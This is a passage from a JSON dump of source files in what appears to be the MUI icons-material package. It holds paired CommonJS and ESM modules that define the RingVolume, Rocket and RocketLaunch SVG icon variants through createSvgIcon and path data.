1.15 2.94 1.9zm.69-12.23-1.41-1.41-3.56 3.55 1.41 1.41s3.45-3.52 3.56-3.55M11 2h2v5h-2zM6.4 9.81 7.81 8.4 4.26 4.84 2.84 6.26c.11.03 3.56 3.55 3.56 3.55\"\n}), 'RingVolumeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RingVolumeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23.71 16.67C20.66 13.78 16.54 12 12 12S3.34 13.78.29 16.67c-.18.18-.29.43-.29.71s.11.53.29.71l2.48 2.48c.18.18.43.29.71.29.27 0 .52-.11.7-.28.79-.74 1.69-1.36 2.66-1.85.33-.16.56-.5.56-.9v-3.1c1.45-.48 3-.73 4.6-.73s3.15.25 4.6.72v3.1c0 .39.23.74.56.9.98.49 1.87 1.12 2.66 1.85.18.18.43.28.7.28.28 0 .53-.11.71-.29l2.48-2.48c.18-.18.29-.43.29-.71 0-.27-.11-.52-.29-.7m-18.31.56c-.66.37-1.29.8-1.87 1.27l-1.07-1.07c.91-.75 1.9-1.39 2.95-1.9v1.7zm15.07 1.26c-.59-.48-1.21-.9-1.87-1.27v-1.7c1.04.51 2.03 1.15 2.94 1.9zm.69-12.23-1.41-1.41-3.56 3.55 1.41 1.41s3.45-3.52 3.56-3.55M11 2h2v5h-2zM6.4 9.81 7.81 8.4 4.26 4.84 2.84 6.26c.11.03 3.56 3.55 3.56 3.55\"\n}), 'RingVolumeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RingVolumeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.98 7h.03c.55 0 .99-.44.99-.98V2.98c0-.54-.44-.98-.98-.98h-.03c-.55 0-.99.44-.99.98v3.03c0 .55.44.99.98.99m4.92 2.11c.39.39 1.01.39 1.4 0 .62-.63 1.52-1.54 2.15-2.17.39-.38.39-1.01 0-1.39-.38-.38-1.01-.38-1.39 0L16.89 7.7c-.39.38-.39 1.01 0 1.39zM5.71 9.1c.38.39 1.01.39 1.4 0 .38-.38.38-1.01 0-1.39L4.96 5.54c-.38-.39-1.01-.39-1.39 0l-.02.01c-.39.39-.39 1.01 0 1.39.63.62 1.54 1.53 2.16 2.16m17.58 7.13c-6.41-5.66-16.07-5.66-22.48 0-.85.75-.85 2.08-.05 2.88l1.22 1.22c.72.72 1.86.78 2.66.15l2-1.59c.48-.38.76-.96.76-1.57v-2.6c3.02-.98 6.29-.99 9.32 0v2.61c0 .61.28 1.19.76 1.57l1.99 1.58c.8.63 1.94.57 2.66-.15l1.22-1.22c.79-.8.79-2.13-.06-2.88\"\n}), 'RingVolumeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RingVolumeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.98 7h.03c.55 0 .99-.44.99-.98V2.98c0-.54-.44-.98-.98-.98h-.03c-.55 0-.99.44-.99.98v3.03c0 .55.44.99.98.99m4.92 2.11c.39.39 1.01.39 1.4 0 .62-.63 1.52-1.54 2.15-2.17.39-.38.39-1.01 0-1.39-.38-.38-1.01-.38-1.39 0L16.89 7.7c-.39.38-.39 1.01 0 1.39zM5.71 9.1c.38.39 1.01.39 1.4 0 .38-.38.38-1.01 0-1.39L4.96 5.54c-.38-.39-1.01-.39-1.39 0l-.02.01c-.39.39-.39 1.01 0 1.39.63.62 1.54 1.53 2.16 2.16m17.58 7.13c-6.41-5.66-16.07-5.66-22.48 0-.85.75-.85 2.08-.05 2.88l1.22 1.22c.72.72 1.86.78 2.66.15l2-1.59c.48-.38.76-.96.76-1.57v-2.6c3.02-.98 6.29-.99 9.32 0v2.61c0 .61.28 1.19.76 1.57l1.99 1.58c.8.63 1.94.57 2.66-.15l1.22-1.22c.79-.8.79-2.13-.06-2.88\"\n}), 'RingVolumeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RingVolumeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.16 6.26-1.41-1.41-3.56 3.55 1.41 1.41s3.45-3.52 3.56-3.55M11 2h2v5h-2zM6.4 9.81 7.81 8.4 4.26 4.84 2.84 6.26c.11.03 3.56 3.55 3.56 3.55M0 17.39l3.68 3.68 3.92-3.11v-3.37c2.85-.93 5.94-.93 8.8 0v3.38l3.91 3.1L24 17.39c-6.41-7.19-17.59-7.19-24 0\"\n}), 'RingVolumeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RingVolumeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.16 6.26-1.41-1.41-3.56 3.55 1.41 1.41s3.45-3.52 3.56-3.55M11 2h2v5h-2zM6.4 9.81 7.81 8.4 4.26 4.84 2.84 6.26c.11.03 3.56 3.55 3.56 3.55M0 17.39l3.68 3.68 3.92-3.11v-3.37c2.85-.93 5.94-.93 8.8 0v3.38l3.91 3.1L24 17.39c-6.41-7.19-17.59-7.19-24 0\"\n}), 'RingVolumeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RingVolumeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.6 17.22c.66.37 1.28.79 1.87 1.27l1.07-1.07c-.91-.75-1.9-1.38-2.94-1.9zM3.53 18.5c.58-.47 1.21-.89 1.87-1.27v-1.71c-1.05.51-2.03 1.15-2.95 1.9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12C7.46 12 3.34 13.78.29 16.67c-.18.18-.29.43-.29.71s.11.53.29.71l2.48 2.48c.18.18.43.29.71.29.27 0 .52-.11.7-.28.79-.74 1.69-1.36 2.66-1.85.33-.16.56-.5.56-.9v-3.1c1.45-.48 3-.73 4.6-.73s3.15.25 4.6.72v3.1c0 .39.23.74.56.9.98.49 1.87 1.12 2.66 1.85.18.18.43.28.7.28.28 0 .53-.11.71-.29l2.48-2.48c.18-.18.29-.43.29-.71 0-.27-.11-.52-.29-.7C20.66 13.78 16.54 12 12 12m-6.6 5.23c-.66.37-1.29.8-1.87 1.27l-1.07-1.07c.91-.75 1.9-1.39 2.95-1.9v1.7zm15.07 1.26c-.59-.48-1.21-.9-1.87-1.27v-1.7c1.04.51 2.03 1.15 2.94 1.9zM16.19 8.4l1.41 1.41s3.45-3.52 3.56-3.55l-1.41-1.41zM11 2h2v5h-2zM6.4 9.81 7.81 8.4 4.26 4.84 2.84 6.26c.11.03 3.56 3.55 3.56 3.55\"\n}, \"1\")], 'RingVolumeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RingVolumeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.6 17.22c.66.37 1.28.79 1.87 1.27l1.07-1.07c-.91-.75-1.9-1.38-2.94-1.9zM3.53 18.5c.58-.47 1.21-.89 1.87-1.27v-1.71c-1.05.51-2.03 1.15-2.95 1.9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12C7.46 12 3.34 13.78.29 16.67c-.18.18-.29.43-.29.71s.11.53.29.71l2.48 2.48c.18.18.43.29.71.29.27 0 .52-.11.7-.28.79-.74 1.69-1.36 2.66-1.85.33-.16.56-.5.56-.9v-3.1c1.45-.48 3-.73 4.6-.73s3.15.25 4.6.72v3.1c0 .39.23.74.56.9.98.49 1.87 1.12 2.66 1.85.18.18.43.28.7.28.28 0 .53-.11.71-.29l2.48-2.48c.18-.18.29-.43.29-.71 0-.27-.11-.52-.29-.7C20.66 13.78 16.54 12 12 12m-6.6 5.23c-.66.37-1.29.8-1.87 1.27l-1.07-1.07c.91-.75 1.9-1.39 2.95-1.9v1.7zm15.07 1.26c-.59-.48-1.21-.9-1.87-1.27v-1.7c1.04.51 2.03 1.15 2.94 1.9zM16.19 8.4l1.41 1.41s3.45-3.52 3.56-3.55l-1.41-1.41zM11 2h2v5h-2zM6.4 9.81 7.81 8.4 4.26 4.84 2.84 6.26c.11.03 3.56 3.55 3.56 3.55\"\n}, \"1\")], 'RingVolumeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rocket.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2.5s4.5 2.04 4.5 10.5c0 2.49-1.04 5.57-1.6 7H9.1c-.56-1.43-1.6-4.51-1.6-7C7.5 4.54 12 2.5 12 2.5m2 8.5c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2m-6.31 9.52c-.48-1.23-1.52-4.17-1.67-6.87l-1.13.75c-.56.38-.89 1-.89 1.67V22zM20 22v-5.93c0-.67-.33-1.29-.89-1.66l-1.13-.75c-.15 2.69-1.2 5.64-1.67 6.87z\"\n}), 'Rocket');"
  },
  {
    "path": "packages/mui-icons-material/lib/Rocket.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2.5s4.5 2.04 4.5 10.5c0 2.49-1.04 5.57-1.6 7H9.1c-.56-1.43-1.6-4.51-1.6-7C7.5 4.54 12 2.5 12 2.5m2 8.5c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2m-6.31 9.52c-.48-1.23-1.52-4.17-1.67-6.87l-1.13.75c-.56.38-.89 1-.89 1.67V22zM20 22v-5.93c0-.67-.33-1.29-.89-1.66l-1.13-.75c-.15 2.69-1.2 5.64-1.67 6.87z\"\n}), 'Rocket');"
  },
  {
    "path": "packages/mui-icons-material/lib/RocketLaunch.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.19 6.35c-2.04 2.29-3.44 5.58-3.57 5.89L2 10.69l4.05-4.05c.47-.47 1.15-.68 1.81-.55zM11.17 17s3.74-1.55 5.89-3.7c5.4-5.4 4.5-9.62 4.21-10.57-.95-.3-5.17-1.19-10.57 4.21C8.55 9.09 7 12.83 7 12.83zm6.48-2.19c-2.29 2.04-5.58 3.44-5.89 3.57L13.31 22l4.05-4.05c.47-.47.68-1.15.55-1.81zM9 18c0 .83-.34 1.58-.88 2.12C6.94 21.3 2 22 2 22s.7-4.94 1.88-6.12C4.42 15.34 5.17 15 6 15c1.66 0 3 1.34 3 3m4-9c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2\"\n}), 'RocketLaunch');"
  },
  {
    "path": "packages/mui-icons-material/lib/RocketLaunch.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.19 6.35c-2.04 2.29-3.44 5.58-3.57 5.89L2 10.69l4.05-4.05c.47-.47 1.15-.68 1.81-.55zM11.17 17s3.74-1.55 5.89-3.7c5.4-5.4 4.5-9.62 4.21-10.57-.95-.3-5.17-1.19-10.57 4.21C8.55 9.09 7 12.83 7 12.83zm6.48-2.19c-2.29 2.04-5.58 3.44-5.89 3.57L13.31 22l4.05-4.05c.47-.47.68-1.15.55-1.81zM9 18c0 .83-.34 1.58-.88 2.12C6.94 21.3 2 22 2 22s.7-4.94 1.88-6.12C4.42 15.34 5.17 15 6 15c1.66 0 3 1.34 3 3m4-9c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2\"\n}), 'RocketLaunch');"
  },
  {
    "path": "packages/mui-icons-material/lib/RocketLaunchOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 15c-.83 0-1.58.34-2.12.88C2.7 17.06 2 22 2 22s4.94-.7 6.12-1.88c.54-.54.88-1.29.88-2.12 0-1.66-1.34-3-3-3m.71 3.71c-.28.28-2.17.76-2.17.76s.47-1.88.76-2.17c.17-.19.42-.3.7-.3.55 0 1 .45 1 1 0 .28-.11.53-.29.71m10.71-5.06c6.36-6.36 4.24-11.31 4.24-11.31S16.71.22 10.35 6.58l-2.49-.5c-.65-.13-1.33.08-1.81.55L2 10.69l5 2.14L11.17 17l2.14 5 4.05-4.05c.47-.47.68-1.15.55-1.81zM7.41 10.83l-1.91-.82 1.97-1.97 1.44.29c-.57.83-1.08 1.7-1.5 2.5m6.58 7.67-.82-1.91c.8-.42 1.67-.93 2.49-1.5l.29 1.44zM16 12.24c-1.32 1.32-3.38 2.4-4.04 2.73l-2.93-2.93c.32-.65 1.4-2.71 2.73-4.04 4.68-4.68 8.23-3.99 8.23-3.99s.69 3.55-3.99 8.23M15 11c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'RocketLaunchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RocketLaunchOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 15c-.83 0-1.58.34-2.12.88C2.7 17.06 2 22 2 22s4.94-.7 6.12-1.88c.54-.54.88-1.29.88-2.12 0-1.66-1.34-3-3-3m.71 3.71c-.28.28-2.17.76-2.17.76s.47-1.88.76-2.17c.17-.19.42-.3.7-.3.55 0 1 .45 1 1 0 .28-.11.53-.29.71m10.71-5.06c6.36-6.36 4.24-11.31 4.24-11.31S16.71.22 10.35 6.58l-2.49-.5c-.65-.13-1.33.08-1.81.55L2 10.69l5 2.14L11.17 17l2.14 5 4.05-4.05c.47-.47.68-1.15.55-1.81zM7.41 10.83l-1.91-.82 1.97-1.97 1.44.29c-.57.83-1.08 1.7-1.5 2.5m6.58 7.67-.82-1.91c.8-.42 1.67-.93 2.49-1.5l.29 1.44zM16 12.24c-1.32 1.32-3.38 2.4-4.04 2.73l-2.93-2.93c.32-.65 1.4-2.71 2.73-4.04 4.68-4.68 8.23-3.99 8.23-3.99s.69 3.55-3.99 8.23M15 11c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'RocketLaunchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RocketLaunchRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.19 6.35c-2.04 2.29-3.44 5.58-3.57 5.89l-2.26-.97c-.65-.28-.81-1.13-.31-1.63l3.01-3.01c.47-.47 1.15-.68 1.81-.55zm1.49 10.16c.3.3.74.38 1.12.2 1.16-.54 3.65-1.81 5.26-3.42 4.59-4.59 4.63-8.33 4.36-9.93-.07-.4-.39-.72-.79-.79-1.6-.27-5.34-.23-9.93 4.36-1.61 1.61-2.87 4.1-3.42 5.26-.18.38-.09.83.2 1.12zm6.97-1.7c-2.29 2.04-5.58 3.44-5.89 3.57l.97 2.26c.28.65 1.13.81 1.63.31l3.01-3.01c.47-.47.68-1.15.55-1.81zm-8.71 2.6c.2 1.06-.15 2.04-.82 2.71-.77.77-3.16 1.34-4.71 1.64-.69.13-1.3-.48-1.17-1.17.3-1.55.86-3.94 1.64-4.71.67-.67 1.65-1.02 2.71-.82 1.17.22 2.13 1.18 2.35 2.35M13 9c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2\"\n}), 'RocketLaunchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RocketLaunchRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.19 6.35c-2.04 2.29-3.44 5.58-3.57 5.89l-2.26-.97c-.65-.28-.81-1.13-.31-1.63l3.01-3.01c.47-.47 1.15-.68 1.81-.55zm1.49 10.16c.3.3.74.38 1.12.2 1.16-.54 3.65-1.81 5.26-3.42 4.59-4.59 4.63-8.33 4.36-9.93-.07-.4-.39-.72-.79-.79-1.6-.27-5.34-.23-9.93 4.36-1.61 1.61-2.87 4.1-3.42 5.26-.18.38-.09.83.2 1.12zm6.97-1.7c-2.29 2.04-5.58 3.44-5.89 3.57l.97 2.26c.28.65 1.13.81 1.63.31l3.01-3.01c.47-.47.68-1.15.55-1.81zm-8.71 2.6c.2 1.06-.15 2.04-.82 2.71-.77.77-3.16 1.34-4.71 1.64-.69.13-1.3-.48-1.17-1.17.3-1.55.86-3.94 1.64-4.71.67-.67 1.65-1.02 2.71-.82 1.17.22 2.13 1.18 2.35 2.35M13 9c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2\"\n}), 'RocketLaunchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RocketLaunchSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.19 6.35c-2.04 2.29-3.44 5.58-3.57 5.89L2 10.69l4.81-4.81zM11.17 17s3.74-1.55 5.89-3.7c5.4-5.4 4.5-9.62 4.21-10.57-.95-.3-5.17-1.19-10.57 4.21C8.55 9.09 7 12.83 7 12.83zm6.48-2.19c-2.29 2.04-5.58 3.44-5.89 3.57L13.31 22l4.81-4.81zM9 18c0 .83-.34 1.58-.88 2.12C6.94 21.3 2 22 2 22s.7-4.94 1.88-6.12C4.42 15.34 5.17 15 6 15c1.66 0 3 1.34 3 3m4-9c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2\"\n}), 'RocketLaunchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RocketLaunchSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.19 6.35c-2.04 2.29-3.44 5.58-3.57 5.89L2 10.69l4.81-4.81zM11.17 17s3.74-1.55 5.89-3.7c5.4-5.4 4.5-9.62 4.21-10.57-.95-.3-5.17-1.19-10.57 4.21C8.55 9.09 7 12.83 7 12.83zm6.48-2.19c-2.29 2.04-5.58 3.44-5.89 3.57L13.31 22l4.81-4.81zM9 18c0 .83-.34 1.58-.88 2.12C6.94 21.3 2 22 2 22s.7-4.94 1.88-6.12C4.42 15.34 5.17 15 6 15c1.66 0 3 1.34 3 3m4-9c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2\"\n}), 'RocketLaunchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RocketLaunchTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.71 18.71c-.28.28-2.17.76-2.17.76s.47-1.88.76-2.17c.17-.19.42-.3.7-.3.55 0 1 .45 1 1 0 .28-.11.53-.29.71m.7-7.88-1.91-.82 1.97-1.97 1.44.29c-.57.83-1.08 1.7-1.5 2.5m6.58 7.67-.82-1.91c.8-.42 1.67-.93 2.49-1.5l.29 1.44zm6-14.49S16.44 3.32 11.76 8c-1.32 1.32-2.4 3.38-2.73 4.04l2.93 2.93c.65-.32 2.71-1.4 4.04-2.73 4.68-4.68 3.99-8.23 3.99-8.23M15 11c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 15c-.83 0-1.58.34-2.12.88C2.7 17.06 2 22 2 22s4.94-.7 6.12-1.88c.54-.54.88-1.29.88-2.12 0-1.66-1.34-3-3-3m.71 3.71c-.28.28-2.17.76-2.17.76s.47-1.88.76-2.17c.17-.19.42-.3.7-.3.55 0 1 .45 1 1 0 .28-.11.53-.29.71m10.71-5.06c6.36-6.36 4.24-11.31 4.24-11.31S16.71.22 10.35 6.58l-2.49-.5c-.65-.13-1.33.08-1.81.55L2 10.69l5 2.14L11.17 17l2.14 5 4.05-4.05c.47-.47.68-1.15.55-1.81zM7.41 10.83l-1.91-.82 1.97-1.97 1.44.29c-.57.83-1.08 1.7-1.5 2.5m6.58 7.67-.82-1.91c.8-.42 1.67-.93 2.49-1.5l.29 1.44zM16 12.24c-1.32 1.32-3.38 2.4-4.04 2.73l-2.93-2.93c.32-.65 1.4-2.71 2.73-4.04 4.68-4.68 8.23-3.99 8.23-3.99s.69 3.55-3.99 8.23M15 11c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}, \"1\")], 'RocketLaunchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RocketLaunchTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.71 18.71c-.28.28-2.17.76-2.17.76s.47-1.88.76-2.17c.17-.19.42-.3.7-.3.55 0 1 .45 1 1 0 .28-.11.53-.29.71m.7-7.88-1.91-.82 1.97-1.97 1.44.29c-.57.83-1.08 1.7-1.5 2.5m6.58 7.67-.82-1.91c.8-.42 1.67-.93 2.49-1.5l.29 1.44zm6-14.49S16.44 3.32 11.76 8c-1.32 1.32-2.4 3.38-2.73 4.04l2.93 2.93c.65-.32 2.71-1.4 4.04-2.73 4.68-4.68 3.99-8.23 3.99-8.23M15 11c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 15c-.83 0-1.58.34-2.12.88C2.7 17.06 2 22 2 22s4.94-.7 6.12-1.88c.54-.54.88-1.29.88-2.12 0-1.66-1.34-3-3-3m.71 3.71c-.28.28-2.17.76-2.17.76s.47-1.88.76-2.17c.17-.19.42-.3.7-.3.55 0 1 .45 1 1 0 .28-.11.53-.29.71m10.71-5.06c6.36-6.36 4.24-11.31 4.24-11.31S16.71.22 10.35 6.58l-2.49-.5c-.65-.13-1.33.08-1.81.55L2 10.69l5 2.14L11.17 17l2.14 5 4.05-4.05c.47-.47.68-1.15.55-1.81zM7.41 10.83l-1.91-.82 1.97-1.97 1.44.29c-.57.83-1.08 1.7-1.5 2.5m6.58 7.67-.82-1.91c.8-.42 1.67-.93 2.49-1.5l.29 1.44zM16 12.24c-1.32 1.32-3.38 2.4-4.04 2.73l-2.93-2.93c.32-.65 1.4-2.71 2.73-4.04 4.68-4.68 8.23-3.99 8.23-3.99s.69 3.55-3.99 8.23M15 11c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}, \"1\")], 'RocketLaunchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RocketOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 11c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2m-6.02 7.25c-.29-.9-.57-1.94-.76-3L6 16.07v2.98zM12 2s5 2 5 11l2.11 1.41c.56.37.89 1 .89 1.66V22l-5-2H9l-5 2v-5.93c0-.67.33-1.29.89-1.66L7 13c0-9 5-11 5-11m0 2.36S9 6.38 9 13c0 2.25 1 5 1 5h4s1-2.75 1-5c0-6.62-3-8.64-3-8.64m6 14.69v-2.98l-1.22-.81c-.19 1.05-.47 2.1-.76 3z\"\n}), 'RocketOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RocketOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 11c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2m-6.02 7.25c-.29-.9-.57-1.94-.76-3L6 16.07v2.98zM12 2s5 2 5 11l2.11 1.41c.56.37.89 1 .89 1.66V22l-5-2H9l-5 2v-5.93c0-.67.33-1.29.89-1.66L7 13c0-9 5-11 5-11m0 2.36S9 6.38 9 13c0 2.25 1 5 1 5h4s1-2.75 1-5c0-6.62-3-8.64-3-8.64m6 14.69v-2.98l-1.22-.81c-.19 1.05-.47 2.1-.76 3z\"\n}), 'RocketOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RocketRounded.js",
